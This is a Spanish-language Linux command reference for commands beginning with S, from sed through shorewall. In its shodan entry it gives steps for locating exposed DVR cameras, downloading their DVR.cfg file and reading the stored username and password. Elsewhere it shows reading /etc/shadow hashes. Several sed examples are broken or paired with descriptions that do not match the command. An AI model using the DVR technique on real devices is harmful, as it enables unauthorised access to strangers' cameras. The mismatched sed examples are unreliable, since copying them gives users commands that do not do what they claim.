Mostrar líneas no comentadas de un archivo
```

```
$ ls * | sed -e 'p;s/foto/FOTO/' | xargs -n2 mv
Substituir "foto" por "FOTO" en todo los archivos del directorio
```

```
$ sed -i 's/Juan/Pedro/g' *.txt
Cambiar Juan por Pedro en todos los archivos .txt del presente directorio
```

```
$ sed '/[0-9]\{4\}/p' archivo
Mostrar sólo las líneas con 4 dígitos seguidos
```

```
$ sed 's/^[^t]*//' archivo
Borrar todos los espacios delante de cada línea
```

```
$ echo "Linux es genial" | sed 's/^[^t]*//'
lo mismo
```

```
$ sed 's/[^t]*$//' archivo
Borrar todos los espacios detras de cada línea
```

```
$ echo "Linux es genial" | sed 's/*$//'
Lo mismo
```

```
$ echo "Linux es genial" | sed 's/.....$//'
Borrar los últimos 6 caracteres de una línea
```

```
$ cat file.txt | sed 's/^.//'
Eliminar el primer carácter de cada línea de un archivo
```

```
$ echo "Linux es genial" | sed 's/^. ....//'
Borrar los primeros 5 caracteres de una línea
```

```
$ cat file.txt | sed 's/..$//'
Eliminar los dos últimos caracteres de cada línea de un archivo
```

```
$ cat file.txt | sed 's/...$//;s/^. ....//'
Eliminar los tres primeros y tres últimos caracteres de cada línea de un archivo
```

```
$ sed 's/^[^t]*//;s/[^t]*$//' archivo
Borrar todos los espacios delante y detras de cada línea
```

```
$ sed -r "s/\<(reg|exp)[a-z]+\U&/g" archivo
Cambiar números 3333 por 3.333. Parámetro -r sirva activa las expresiones regulares extendidas de
sed
```

```
$ sed "5i ---\n categories:tractatus\n date: 2015-05-22\n title: res\n ---\n" archivo.txt
Insertar texto entre una línea y otra. Por ejemplo en la línea 5
```

```
$ sed -i "2 s|^|texto al principio|" archivo
Insertar texto al principio de la 2ª línea
```

```
$ sed -i "s|^|texto al principio|g" archivo
Insertar texto al principio de todas las líneas
```

```
$ sed -i "5 s|$|texto al final|" archivo
Insertar texto al final de la línea 5
```

```
$ sed -i "s|$|texto al final|g" archivo
Insertar texto al final de todas las líneas
```

```
$ sed -n '/Texto/= ' archivo
Mostrar el número de línea que contiene una ocurrencia
```

```
$ sed -i "${VARIABLE}/d" archivo
Utilizar variables dentro de sed
```

```
$ sed -n "^${NUM_BAIXA}/p" archivo
Que la variable esté al principio de la línea
```

```
$ sed = fichero.txt | sed 'N;s/\n/\t/'
Numerar líneas [ como cat -n archivo]
```

```
$ find . -type f -exec sed -i -e 's/esto/aquello/g' {} \;
Reemplazar una cadena "esto" por "aquello" en muchos archivos
```

```
$ find . -type f -exec -name '*.txt' sed -i -e 's/esto/aquello/g' {} \;
Lo mismo pero sólo en archivos txt
```

```
$ find . -type f -exec sed -i -e '/casa/d' {} \;
Eliminar todas las líneas que coincidan la palabra "casa"
```

```
$ find . -type f -exec -name '*.txt' sed -i -e '/pattern/d' {} \;
Lo mismo pero sólo en archivos.txt
```

```
$ sed -i "s|esto|aquello|" archivo.txt
Reemplazar "esto" por "aquello" de forma real en archivo.txt
```

```
$ sed -i 's/localhost\tractatus/localhost\emacs/g' *.html
En todos los archivos html del directorio
```

```
$ echo " href=http://localhost/tractatus/2ping.html" | sed 's/localhost\tractatus/localhost\
emacs/'
Cuando existen barras entre palabras han de escaparse
```

```
$ echo "la casa es casa de todos los sin casa" | sed 's/casa/piso/2'
Substituir la segunda coincidencia de cada línea
```

```
$ echo "la casa, una casa, se casa, gran casa, no casa, la casa, se casa, mas casa" | sed 's/casa/
piso/3g'
Reemplaza desde la tercera coincidencia a la última de cada línea
```

```
$ echo "Linux es un Sistema Genial" | sed 's/\(\b[A-Z]\)/\(\1\)/g'
Poner entre parentesis la primera letra de cada palabra que empieza por mayuscula
```

```
$ cat ab.html | sed -n '5 s/#/ /p'
Reemplazar solo en la 5ª línea el carácter "#" por un espacio
```

```
$ sed '2~2 w texto2.txt' texto.txt
Escribe la 2 línea de texto.txt en el archivo texto2.txt borrando su contenido
```

```
$ sed -i '/plantilla/G' listado.txt
Insertar línea en blanco después de un patrón [plantilla en este caso]
```

```
$ sed -i '/plantilla/{x;p;x;}' listado.txt
Insertar una línea en blanco antes de un patrón [plantilla en este caso]
```

```
$ sed -i '/plantilla/{x;p;x;G;}' listado.txt
Insertar una línea en blanco antes y después de aparecer un patrón [plantilla]
```

```
$ sed = listado.txt | sed 'N;s/\n/\t/' > listado-numerado.txt
Añadir número de línea al principio de cada una
```

```
$ sed '/./=' listado.txt | sed '/./N; s/\n/- /' > listado-numerado.txt
Añadir número de línea al principio si no está en blanco
```

## see

Forma de visualizar imágenes con imagemagic.

```
$ see image.jpg
```

## seeker

Comprobar la velocidad del disco duro, pero no en el inicio que es la parte más rápida como hace hdparm, sino de forma aleatoria en todo el espacio del disco.

```
# seeker /dev/sda
```

## select

Realiza menús de forma rápida y simple:

Algunos ejemplos:

1.-

```
#!/bin/bash
OPCIONES="Uso_linux Todavía_estoy_con_windows"
select opt in $OPCIONES; do
    if [ "$opt" = "Uso_linux" ]; then
        echo "Bravo, usas el mejor sistema..."
        exit
    elif [ "$opt" = "Todavía_estoy_con_windows" ]; then
        echo "¡Evoluciona de una vez!"
        exit
    else
        echo opción errónea
    fi
done
```

2.-

```
#!/bin/bash
OPCIONES="hostname pwd exit"
select opt in $OPCIONES; do
    if [ "$opt" = "hostname" ]; then
        echo $HOSTNAME
    elif [ "$opt" = "pwd" ]; then
        pwd
    elif [ "$opt" = "exit" ]; then
        echo "salir"
        exit
    else
        echo opción errónea
    fi
done
```

3.-

```
#!/bin/bash
PS3='Elija una opción : '
options="linux win salir"
echo opciones : $options
select opt in $options
do
    if [ "$opt" = "salir" ]; then

        echo "Salgo..."

        exit

    elif [ "$opt" = "linux" ]; then

        echo "Muy bien..."

    else

        echo "Terriblemente mal..."

    fi
done
```

## select-default-ispell

Selecciona el diccionario ispell predeterminado.

```
# select-default-ispell
```

## select-default-wordlist

Indica a qué lista de palabras debe apuntar el enlace simbólico "/usr/share/dict/words". Esto proporcionará una lista simple de palabras del diccionario para la corrección ortográfica básica y las búsquedas de palabras.

```
# select-default-wordlist
```

## select-editor

Proporciona un mecanismo coherente para seleccionar y almacenar un editor sensible preferido por el usuario.

```
$ select-editor
```

Muestra los instalados y marca el predeterminado. Solicita el número del que se desea

## selinux

[selinux-basics selinux-policy-default]. SELinux proporciona una forma de acceso a recursos basada en políticas de control de acceso obligatorio [mandatory access control, MAC] incorporado en el kernel. Existen un conjunto de reglas de autorización [políticas] las cuales determinan si una operación sobre un objeto [Archivos, directorios, dispositivos...] realizada por un sujeto esta o no permitida basándose en los atributos de ambos. Linux utiliza por defecto el control de acceso a discreción [discretionary access control, DAC] basada en los propietarios y grupos a los que pertenece un objeto en los que un usuario normal puede cambiar los permisos de los archivos que posee con el comando chmod. Con selinux se limita el acceso que tienen las aplicaciones a otras aplicaciones y a los ficheros, impidiendo que un proceso pueda modificar cualquier fichero del usuario con el que se lanzó. En DAC el acceso esta descentralizado, siendo el propietario de cada objeto el encargado de asignar los permisos de los diversos grupos que accederán a ellas. En cambio con el MAC los objetos y los sujetos tan solo tienen atributos, pero son las políticas las que se encargan de autorizar o denegar una acción. Ver comandos getsebool y setsebool.

Los módulos SELinux disponibles se almacenan en el directorio /usr/share/selinux/default/.

```
# semodule -i módulo.pp (habilitar un módulos en la configuración actual. La extensión pp significa paquete de política [ñpolicy package]).
```

```
# semodule -r módulo
```

Elimina un módulo de la configuración actual

```
# semodule -l
```

Enumera los módulos habilitados actualmente

```
# semanage login -a -s staff_u juan
```

mapear una cuenta a un usuario específico de SELinux

```
# restorecon -R -F /home/juan
```

etiquetar los ficheros del usuario mapeado juan

```
# semanage user -l
```

enumera las asociaciones entre las identidades de usuario de SELinux y los roles permitidos

```
# semanage login -d juan
```

elimina la asociación asignada al usuario juan

```
# semanage login -m juan
```

Modificar la asociación asignada al usuario

```
# semanage login -l
```

enumera las correspondencias actuales entre identificadores de usuarios y entidades SELinux

tabla de los usuarios estándar SELinux disponibles:

```

user_u  (Usuario normal que se utilizan para cuentas de usuario que no van a ser empleadas
        para administrar ningún servicio del sistema)
staff_u (Para administradores con derechos para conmutar roles y ganar privilegios
        elevados)
root    (Cuenta root ligeramente diferente de la cuenta staff_u. Los ficheros protegidos por
        control de acceso basado en root no pueden ser gestionados por los staff_u)
sysadm_u (Administración del sistema. Por defecto, esta cuenta no se utiliza
        inmediatamente ya que este usuario obtiene de forma inmediata el rol administrativo (
        por lo que staff_u y root todavía necesitarán conmutar roles).
system_u (administrar servicios. Nunca se debe utilizar para usuarios finales ya que
        ofrece acceso directo al rol del sistema)
unconfined_u Usado cuando la directriz es targeted, este usuario SELinux tiene muchos
        privilegios (esencialmente no está limitado en sus acciones, aunque todavía se
        gestiona través de SELinux con una directriz "muy abierta").

```

## sendmail

[libnet-ssleay-perl libio-socket-ssl-perl]. Herramienta que permite enviar correos a partir de un servidor externo (p.g gmail). El principal inconveniente es que la contraseña queda expuesta en texto plano en la terminal.

```
$ sendmail -f nombrecuenta@gmail.com -t destinatario@hotmail.com -s smtp.gmail.com:587 -u "Asunto"
-m "Cuerpo del mensaje" -a archivo_adjunto -v -xu nombrecuenta -xp clavecuenta -o tls=yes
```

Nota.- Tanto el asunto como el Cuerpo del mensaje entre comillas  
Si queremos poner más destinatarios, separar los correos con punto y coma [;]:

```
-t usuario1@hotmail.com;usuario2@gmx.es;usuario3@gmail.com
Algunas opciones:
```

```
-cc usuario5@tml.org
```

```
-bcc usuario6@tml.org
```

```
-a archivo.pdf
```

## sensible-utils

Varios programas para seleccionar un navegador, editor o paginador.

```
$ select-editor
muestra los editores disponibles para seleccionar el deseado
```

```
$ sensible-browser
abre el navegador presdeterminado
```

```
$ sensible-editor
abre el editor predeterminado
```

```
$ sensible-pager
abre como less u archivo de texto
```

## sensors

Mostrar las lecturas de todos los sensores de temperatura de los chips.

```
$ sensors
forma básica
```

```
$ sensors -A
No mostrando el adaptador para cada chip
```



## sensors-conf-convert

[lm-sensors]. El propósito de esta herramienta es convertir `sensors.conf` del formato `lm_sensors` versión 2 al formato `lm_sensors` versión 3. El archivo de configuración antiguo se lee desde la entrada estándar y el nuevo se escribe en la salida estándar.

```
# sensors-conf-convert < /etc/sensors.conf > /etc/sensors3.conf
```

## sensors-detect

[lm-sensors]. Monitorizar temperatura y voltage.

```
$ sensors
```

```
$ sensors -f
```

Muestra la temperatura en grados Fahrenheit

## seq

Crea secuencias de números.

```
$ seq 7 12
entre el 7 y el 12
```

```
$ seq 7 2 12
entre el 7 y el 12 con un incremento de 2 en 2
```

```
$ seq -w 7 12
entre el 7 y el 12 con el mismo tamaño
```

```
$ seq -s_ 7 12
con un guión bajo entre cada número
```

```
$ seq -s'#' 0 $(tput cols) | tr -d '[:digit:]'
Escribe una raya de # en toda la anchura de la terminal
```

## service

Inicia o para servicios.

```
# service apache2 start
Arranca apache2
```

```
# service apache2 stop
Para apache2
```

```
# service apache2 restart
Reinicia apache2
```

```
# service --status-all
servicios de un sistema en ejecución y en listen
```

```
# service --status-all | grep +
los que estan en ejecución
```

## sestatus

Devuelve el estado de SELinux y la política que se está usando. Ver `selinux` y `getsenforce`

```
# sestatus
```

```
# sestatus -v
estado detallado de un sistema ejecutando SELinux
```

## set

desplegar todas las variables [y sus valores] que el shell controla y otorgar nuevas variables.

```
$ set -o
listado de todas las variables y si estan o no activadas
```

Algunas ejemplos que se muestran en la salida:

```
$ set -o ignoreeof
evitar que la terminal se cierre al presionar Control-D
```

```
$ set -o noglob
desactivar caracteres especiales en la shell: ?, [, ], * y ~
```

```
$ set prompt = "%/ - %t - %u - $$$ $"
que el prompt diga el directorio, la fecha, el usuario i sigan 4 signos de "$"
```

```
$ set history=2000
que el historial guarde los últimos 2000 comandos entrados
```

```
$ set -o vi
cambiar a las teclas del modo de edición de vi . Por defecto bash utiliza el modo emacs
```

```
$ set -o noclobber
activar la protección de sobreescritura en las tuberías si el archido ya existe [ver noclobber]
```

```
$ set +o noclobber
Desactivar la protección. Opción por defecto
```

1.-

Depurar partes de un script encerrando el código:

```
set -x
código a depurar
set +x
```

## setarch

Esta utilidad le dice al núcleo que informe de una arquitectura diferente a la actual a un programa, luego ejecutará dicho programa en este entorno.

```
$ setarch --list
Listado de arquitecturas posible
```

```
$ setarch $(uname -m) --uname-2.6 script.sh
A partir de este momento, siempre que se llame a ese script pensará que se está ejecutando con un kernel 2.6
```

## setcap

Permite asignar permisos especiales para que una aplicación se pueda ejecutar en un puerto por debajo del 1024 por un usuario sin permisos de administrador. [relacionada con getcap]

```
# setcap cap_net_raw+ep /usr/bin/ping
dar los permisos
```

```
# setcap -r /usr/bin/ping
quitarlos
```

```
$ setcap cap_net_bind_service-ep /usr/bin/ping
otra forma de quitarlos
```

```
$ setcap cap_net_admin,cap_net_raw+ep /usr/bin/wireshark
otorgar dos capabilities
```

Nota.- +ep significa que la capability es efectiva [e] y permitida [p].

## setfacl

Establece, modifica o elimina la lista de control de acceso a un archivo.

```
$ setfacl -m u:usuario:rx archivo
```

Conceder acceso de lectura y ejecución a un usuario sobre un archivo

```
$ setfacl -x u:usuario file
```

Eliminar el acceso a un archivo a un usuario

```
$ setfacl -b archivo
```

elimina toda la lista de control de acceso a archivo

```
$ setfacl -d -m u::rw archivo
```

Modifica la lista de control de acceso por defecto de archivo para todos los usuarios

```
$ setfacl -a archivo
```

muestra la lista de control de acceso de un archivo

```
$ getfacl -d archivo
```

ver la lista de control de acceso por defecto

```
$ getfacl -R dir
```

lista el control de acceso a todos los archivos, directorios y subdirectorios del directorio mencionado

## setfont

Modificación de las fuentes en el arranque (arch)

```
# setfont
```

cargar la por defecto

```
# setfont ter-114f
```

especificar una

Nota.- fuentes en /usr/share/consolefonts

## setleds

Controla los leds del teclado

```
$ setleds -D +num >> /dev/tty1
```

activa el teclado numérico

```
$ setleds -D -caps >> /dev/tty1
```

desactiva las mayúsculas

```
$ setleds -D +scroll >> /dev/tty1
```

activa el scroll

## setlogcons

Enviar mensajes del kernel a la consola especificada.

```
# setlogcons 1
```

enviar todos los mensajes del kernel a tty1

## setools

Parche del kernel de Linux y una serie de utilidades con funcionalidad de seguridad mejorada diseñadas para agregar controles de acceso obligatorios a Linux. Son herramientas para analizar la política de seguridad en sistemas SELinux. Incluye las siguientes aplicaciones: sechecker [Análisis automatizado basado en archivos de configuración], sediff [Comparar dos políticas para encontrar diferencias], sedta [Realizar análisis de transición de dominio], seinfo [Enumere los componentes de la política], seinfoflow [Realizar análisis de flujo de información] y serearch [Reglas de búsqueda (permitir, type\_transition, etc.)].

## setpci

[pciutils]. Utilidad para consultar y configurar dispositivos PCI.

```
# setpci --dumpregs
lista de todos los registros y capacidades PCI conocidos
```

## setsebool

Permite activar/desactivar las políticas en selinux. Ver getsebool

```
# setsebool httpd_can_network_connect on
Activamos el permitir a Apache realizar conexiones de red
```

```
# setsebool -P httpd_can_network_connect on
Hacer el cambio persistente
```

```
# setsebool httpd_disable_trans 1
Otra forma de desactivar una política. Con 0 se activa
```

## setserial

Establecer y/o reportar la información de configuración asociada con un puerto serie. Esta información incluye qué puerto de I/O y qué IRQ está utilizando un puerto serie particular.

```
$ setserial -G /dev/ttyS0
```

## setsid

Permite continuar ejecutando un comando aunque se cierre la terminal o la sesión ssh. Parecido a nohup [ver] o screen [ver] aunque a diferencia de estos, no permite volver para ver el estado de proceso.

```
$ setsid apt-get update
```

## setterm

Modificación de los atributos de la terminal. Algunos flags solo son aplicables a las tty.

```
$ setterm -r
La resetea incluso si ha quedado colgada
```

```
$ setterm -cursor off
desaparece el cursor. Con "on" regresa de nuevo
```

Opciones:

```
-foreground green (Color de texto. [black|blue|green|cyan|red|magenta|yellow|white|default])
-background red (Color de fondo)
-inversescreen on (Intercambia los colores del texto y el fondo)
```

## setxkbmap

Configurar teclado [para X.org] en la sesión actual.

```
$ setxkbmap -layout es
```

```
$ setxkbmap es
configurarlo en español
```

```
$ setxkbmap -query
ver la configuración actual
```

## sexy-bash-prompt

Prompt para bash que también puede usarse para status y ramas en git. Utiliza tput, un programa para configurar terminales usadas por la shell. Antes de la instalación es preciso hacer copia de seguridad de .bashrc ya que la instalación de este paquete crea un archivo a su medida.

```
$ cp ~/.bashrc ~/.bashrc_old
```

Instalación y descarga:

```
$ git clone https://github.com/twolfson/sexy-bash-prompt
```

```
$ cd sexy-bash-prompt
```

```
# make intall
```

```
$ source ~/.bashrc
```

Terminada la relectura de .bashrc, veremos los cambios al abrir una terminal.

## sfdisk

Mostrar un listado de las particiones con sus características exactas.

```
# sfdisk -d /dev/sda
Muestra la tabla de particiones de sda
```

```
# sfdisk -d /dev/sda | sfdisk /dev/sdb
copia la tabla de sda a sdb
```

```
# sfdisk -d /dev/sda > tabla.bak
Guardar tabla de particiones
```

```
# sfdisk /dev/sda < tabla.bak
Restaurar tabla de particiones
```

## sfill

[paquete secure-delete]. Borrado de todos los rastros de datos del espacio libre del disco. Parecidos parámetros de srm [ver]. Sobreescribe 38 veces el espacio.

```
# sfill -f dir
Borrado rápido pero inseguro
```

```
# sfill -l dir
Como lanzar dos veces sfill -f
```

```
# sfill -i dir
Borrar solamente inodos en directorio
```

```
# sfill -zv dir
Sobreescribiendo ceros en el último borrado y mostrando el proceso
```

## sftp

Transferencia encriptada de archivos entre computadoras por ssh.

Ajustes previos:

```
# nano /etc/ssh/sshd_config
```

Y colocar las lineas:

```
Subsystem sftp internal-sftp
Match group USER
  ChrootDirectory /home/USER
  ForceCommand internal-sftp
  AllowTCPForwarding no
  X11Forwarding no
```

```
$ sftp USER@host
```

## sg

[sg3-utils]. Identificar dispositivos /dev conectados

```
# sg_scan -i
```

```
# sg_map -i
```

## sh

Interprete de comandos.

```
$ sh -x script
ejecutará el script y mostrará todas la sentencias que se ejecutan con las variables y comodines ya expandidos
```

```
$ sh -n script
Chequea la sintaxis sin ejecutar el script. Si no encuentra errores devuelve vacio
```

```
$ sh -e script
Obliga a terminar el script aunque algún comando falle
```

```
$ sh -v script
Imprime las lineas de entrada según se leen
```

## shadow

[/etc/shadow]. Es el archivo donde se guardan las contraseñas de todos los usuarios del sistema y normalmente se compone del nombre de usuario de la cuenta, seguido del hash del password. Como medida de seguridad, el sistema, después de generar el hash del password, agrega un salt y luego genera un nuevo hash. Este proceso funciona genera un algoritmo en un solo sentido, no hay forma de sacar ni "desencriptar" la contraseña real del hash. La única manera de intentar crackear esta contraseña es por medio de diccionarios o fuerza bruta.

```
# cat /etc/shadow | grep USER
ver el Hash del usuario "USER"
```

```
# cat /etc/shadow | grep -E 'USER|root'
ver el Hash del usuario "USER" y el de root
```

## shar

[shareutils]. Producir un solo archivo a partir de muchos aunque sean todos distintos [png, html, txt, odt, binarios...]. Si se ejecuta un archivo shar recreará los archivos a partir de los que se generó. También pueden extraerse con la aplicación unshar incluyda en shareutils

```
$ shar * > datos.shar
empaqueta todos los archivos del directorio en el archivo datos.shar
```

Primera forma de extraerlos:

```
$ chmod +x datos.shar

$ ./datos.shar
```

Segunda:

```
$ unshar datos.shar
```

## sharness

Biblioteca de shell portátil para escribir, ejecutar y analizar pruebas automatizadas para programas Unix. El catálogo de bibliotecas de software que pueden actuar como productores de TAP [Test Anything Protocol], agrupadas por lenguaje de programación es: Ada, C, C++, C#, Common Lisp, Crystal, Elixir, Erlang, Fish, Forth, Fortran, Gambas, Go, Haskell, Igor Pro, Java, JavaScript, Limbo, Lua, MATLAB, OCaml, Omnis Studio, Pascal, Perl5, Perl6, PHP, Prolog, Python, Ruby, Rust, Sass, Shell, SQL, and TypeScript. El ejemplo del funcionamiento de la aplicación sacado de github y adaptado a Debian es:

```
$ cat simple.t
#!/bin/sh

test_description='Mostrar características básicas de Sharness'

. /usr/share/sharness/sharness.sh

test_expect_success 'El éxito se informa así' '
    echo hello world | grep hello '

test_expect_success 'o así' '
    ip a | grep 192 | cut -d " " -f 6 '

test_expect_success 'Los comandos están encadenados de esta manera' '
    test x = "x" &&
    test 2 -gt 1 &&
    echo success '

test_expect_failure 'Esperamos que esto falle' '
    cd /home/inexistente '

test_done
```

Después de darle permisos [chmod +x simple.t], cuando se ejecute [./simple.t] creará el directorio test-results y en su interior el archivo de texto con el resultado.

```
$ cat test-results
```

```
total 4

success 3

fixed 0

broken 1

failed 0
```

Nota.- "test\_expect\_success" dice "OK" en caso de éxito o "FAIL" en caso de error. "test\_expect\_failure" dirá "FIXED" en caso de éxito y "known breakage" en caso de error.

## shasum

Muestra el hash sha de un fichero con el objetivo de verificar si se producen cambios.

```
$ shasum -a 512 -t fichero
```

Usando el algoritmo de 512 bits. Otras opciones: 32 [por defecto] 224, 256, 384, 512224, 512256

## shalsum

Calcular el hash sha1 de palabras, archivos o directorios.

```
$ shalsum archivo
```

```
$ shalsum
```

Entra en el prompt y espera una palabra. Una vez terminada de escribir, sin pulsar intro, pulsar dos veces Ctrl+d y nos dará el hash

```
$ echo -n "linux es un sistema genial" | shalsum
```

A partir de una palabra o frase como tubería

## shc

Ofuscador que encripta el código de un script. Descargar el script de <http://www.datsi.fi.upm.es/~frosal/sources/>

Instalación:

```
# cd shc-3.8.9
```

entrar en el directorio descomprimido

```
# cp shc-3.8.9.c shc.c
```

evitar error "No rule to make target 'shc.c', needed by 'shc'"

```
# mkdir /usr/local/man/man1
```

Crear el directorio man1 para evitar el error de "directorio no existe"

```
# make install
```

Pulsar "y" a la pregunta "Do you want to continue"

```
***      Installing shc and shc.1 on /usr/local
***      Do you want to continue? y
install -c -s shc /usr/local/bin/
install -c -m 644 shc.1 /usr/local/man/man1/
```

Uso:

```
$ shc -f script.sh
```

Crearé 2 archivos nuevos:

```
script.sh  script.sh.x  script.sh.x.c
```

El ejecutable es el terminado en .x [script.sh.x] que podrá enviarse y ejecutarse de la forma habitual pero sin poder leer el código fuente.

Nota.- El terminado en .x.c es el script pero en lenguaje C. Puede borrarse sin ningún problema.

## shell

Término usado para referirse al intérprete de comandos. Los comandos, cuando se escriben en ficheros ejecutables se denominan shell-scripts o programación shell aunque, mirado estrictamente, no se sean un lenguaje de programación. El término shell hace referencia a un programa particular, el Bourne shell [sh] que es un standard unix y, aunque según los distros pueden incluir distintas shells con más características (bash, ash, csh, ksh, tcsh) todas son compatibles con el bourne shell

.



## shellcheck

Revisión y análisis de código de shell scripts. Realiza una comprobación de estándar POSIX detectando problemas con extensión de variables o variables sin usar, errores de sintaxis o en construcciones lógicas (bucles for/while o condicionales if), fragmentos de código mejorables o cualquier incidencia que pueda ocurrir en dicho código. Es posible que marque falsos positivos, por ejemplo si se usan variables de ambiente y no están definidas. También está disponible en versión web e incluso como plugin para Atom, Sublime Text, vim o emacs [flycheck] .

```
$ shellcheck script.sh
Forma básica. Si no muestra nada todo es perfecto
```

```
$ shellcheck -s bash -e SC1003,SC2035 script.sh
especificando el lenguaje y excluir 2 tipos de errores
```

Nota.- Los códigos de error generados pueden ser consultados en la Wiki del proyecto (<<https://github.com/koalaman/shellcheck>>) y por su código en <<https://github.com/koalaman/shellcheck/wiki/Directive>>

## shelltestrunner

Herramienta para probar programas de línea de comandos [o comandos de shell arbitrarios]. Lee pruebas declarativas simples que especifican un comando, alguna entrada y la salida esperada, salida de error y estado de salida.

```
$ shelltest -c script.sh
mostrando en color las anomalías
```

```
$ shelltest -c dir/*
de todos los scripts del directorio
```

## shelr

Realizar una grabación de la consola con la posibilidad de subirla a <http://shelr.tv>. Una vez registrados conseguimos el ID personal. La grabación termina al pulsar Ctrl + d y se almacena en .local/share/shelr/ del usuario o de root. Las medidas de la terminal optimas son 132x43 [lanzar, por ejemplo: `lxterminal --geometry=132x43`]

```
$ shelr record
Inicia la grabación despues de solicitar el título
```

```
$ shelr record --sound
Grabar con sonido
```

```
$ shelr list
muestra todos los shellcasts [grabaciones]
```

```
$ shelr play ID
Reproduce el especificado en el número ID
```

```
$ shelr dump ID
Volcará la grabación en el directorio actual con extensión .json. Solicita nombre y etiqueta del shellcast
```

```
$ shelr play last
reproduce la última grabación
```

```
$ shelr play archivo.json
Reproduce el archivo volcado
```

```
$ shelr play URL
Reproduce un remoto alojado en shelr.tv
```

1.-

Proceso para subir la grabación a shelr.tv:

```
$ shelr setup 4dbde740509f4591bab88ca2361a269
Especificar el ID de usuario. Este es ficticio
```

```
$ shelr record
Empezar la grabación
```

```
$ shelr push last
Subirla a shelr.tv
```

```
$ shelr push last --private
Subirla a shelr.tv y mantenerla privada
```

## shift

En un script, permite desplazar los parámetros, de modo que el valor del 1er parámetro (\$1) es reemplazado por el valor del 2do parámetro (\$2), el del 2do parámetro (\$2) por el del 3er parámetro (\$3) y así sucesivamente. Veamos un ejemplo:

```
$ mkdir tmp (creamos directorio de trabajo)
$ cd tmp (entramos en él)
$ touch {1..5}.txt (creamos varios archivos de texto)
Creamos un script con el siguiente contenido:
```

```
#!/bin/bash
#
## Entrar un numero variable de archivos
## como argumentos y comprimirlos con zip
i=1
while [ $# -gt 0 ]; do
    zip ${1%.*}.zip $1
    i=$((i+1))
    shift
done
echo
Lo ejecutamos con algunos archivos como argumentos.
```

```
./script.sh 1.txt 2.txt 3.txt
Comprobamos el resultado, los borramos:
```

```
$ rm *.txt
```

Y probamos con otro número de argumentos.

## shodan

Buscador no de sitios web como google, yahoo o bing, sino de dispositivos conectados a la red [ routers, impresoras, camaras ip...]. Precisa registro con lo que aumenta la cantidad de salidas de las búsquedas de 10 [sin registro] a 50.

Opciones generales en la barra de búsquedas para usuarios sin cuenta pro:

```
apache country:ES (Buscar servidores apache en España)
apache city:Madrid country:ES (Buscar servidores apache en Madrid - España)
nginx hostname:.es (Buscar servidores nginx con .es en su hostname)
proftpd port:21 os:linux (Buscar servidores proftpd especificando puerto y sistema operativo)
net:18.7.7.0/24 (Buscar en un rango de ips)
Algunos ejemplos concretos:
Server:SQ-WEBCAM country:es (Buscar webcams en España)
netcam country:es (Cámaras ip en España)
1.-
```

Si lanzamos:

```
dvr port:8080
Podemos buscar cámaras web. Una vez clicada la seleccionada de la búsqueda, añadir a la ip /DVR.
cfg, quedando la url: http://xx.xxx.xx.xx:8080/DVR.cfg, saldrá un archivo DVR.cfg para
descargar. Descargarlo y editarlo. Buscar usuario y contraseña en USER1_USERNAME=XXXX y
USER1_PASSWORD=XXXX
```

## shodan-cli

Buscador de dispositivos.

```
# easy_install shodan
instalar paquete
```

```
# shodan init YOUR_API_KEY
Entrar la API. Se encuentra en el perfil de usuario en shodan.com
```

```
# shodan
Muestra las opciones
```

```
# shodan count microsoft iis 6.0
Muestra número de resultados de la búsqueda
```

```
# shodan download microsoft-data microsoft iis 6.0
Guarda la búsqueda en un fichero microsoft-data.json.gz
```

```
# shodan parse --fields ip_str,port,org --separator , microsoft-data.json.gz
Analiza el archivo que se generó con el comando anterior, separando los campos ip, puerto y host con ","
```

```
# shodan search --fields ip_str,port,org,hostnames microsoft iis 6.0
Generar una búsqueda separando los campos especificados
```

```
# shodan host IP
Analiza las vulnerabilidades del host especificado
```

```
# shodan myip
Muestra la propia ip
```

```
# cat archivo.txt | xargs -I% shodan download % %
download a partir de un listado. Pueden ser ips, modelos de router, camaras ip... una por linea
```

```
# dir *.json.gz -l | xargs -I% shodan parse --fields ip_str,port,org --separator , %
Ver los resultados del comando anterior
```

## shopt

Habilita o deshabilita variables opcionales del comportamiento del shell bash.

```
$ shopt
visualiza las activas y las inactivas
```

```
$ shopt -s
visualiza las que estan activas
```

```
$ shopt -s hostcomplete
activa una opción
```

```
$ shopt -u hostcomplete
la desactiva
```

Variables opcionales:

cdable\_vars (Permite que cd use los valores de las variables como nombres de directorios)

cdspell (Ignora pequeños errores en los cambios de directorio con cd. Sólo en la ejecución interactiva)

cmdhist (Guarda los comandos que hemos escrito en varias líneas en una sola línea del historial)

dotglob (Incluye en la expansión de comodines los ficheros que empiezan por punto (.))

expand\_aliases (Expande un alias cuando lo ejecuta)

extglob (Utiliza extensiones de los comodines)

## S

**failglob** (Si falla la expansión de un comodín porque no encuentra nada falla el comando (como hace el C Shell))

**force\_ignore** (Los sufijos especificados en la variable de entorno FIGIGNORE no se usan para completar palabras con tabulador)

**hostcomplete** (Se intenta completar nombres de host al pulsar tabulador cuando la palabra contiene una @)

**interactive\_comments** (Permite que dentro de un comando de sesión interactiva haya comentarios (precedidos por #))

**login\_shell** (Variable de sólo lectura que indica si Bash ha sido lanzado como un shell de login)

**nocaseglob** (Indica si los comodines expanden sin sensibilidad a mayúsculas/minúsculas. No confundir con la variable completion-ignore-case de inputrc que lo que hacía era expandir con tabulador.)

**nullglob** (Hace que cuando un patrón no encuentra ficheros, se expandan por la cadena vacía en vez de por el patrón sin expandir)

**sourcepath** (Hace que el comando interno source busque el argumento en los directorios que indique PATH)

## shorewall

Cortafuegos.

```
# shorewall check
Chequea los archivos de configuración. Si finaliza con el mensaje "Shorewall configuration
verified" todo está correcto
```

```
# shorewall start
Arrancar el cortafuegos. "stop" para parar y "restart" para reiniciar
```

```
# shorewall safe-start
Arrancar de forma segura. Aplicable tambien a safe-restart
```

```
# shorewall clear
Desactivar todas las reglas de filtrado y enrutado
```

```
# shorewall status
Ver el estado del firewall
```

Configuración:

```
# nano /etc/default/shorewall
```

startup=1 (Aplicar las reglas al iniciar el sistema)

```
# nano /etc/shorewall/rules
```

Especificar los protocolos que se permitirán acceder a nuestra máquina des de el exterior:

```
SSH/ACCEPT      net      $FW
```

Equivalente a:

```
ACCEPT          net      $FW      tcp      22
```

Otro ejemplo:

```
Web/ACCEPT      net      $FW
```

Equivalente a:

```
ACCEPT          net      $FW      tcp      80
```

Otro para ftp:

## S

---

```
FTP/ACCEPT      net      $FW
```

Equivalente a:

```
ACCEPT          net      $FW      tcp      21
```

Las opciones pueden ser DROP, ACCEPT y REJECT

Otros archivos de configuración:

```
/etc/shorewall/policy
```

```
/etc/shorewall/interfaces
```

```
/etc/shorewall/zones
```

## show\_all\_colors

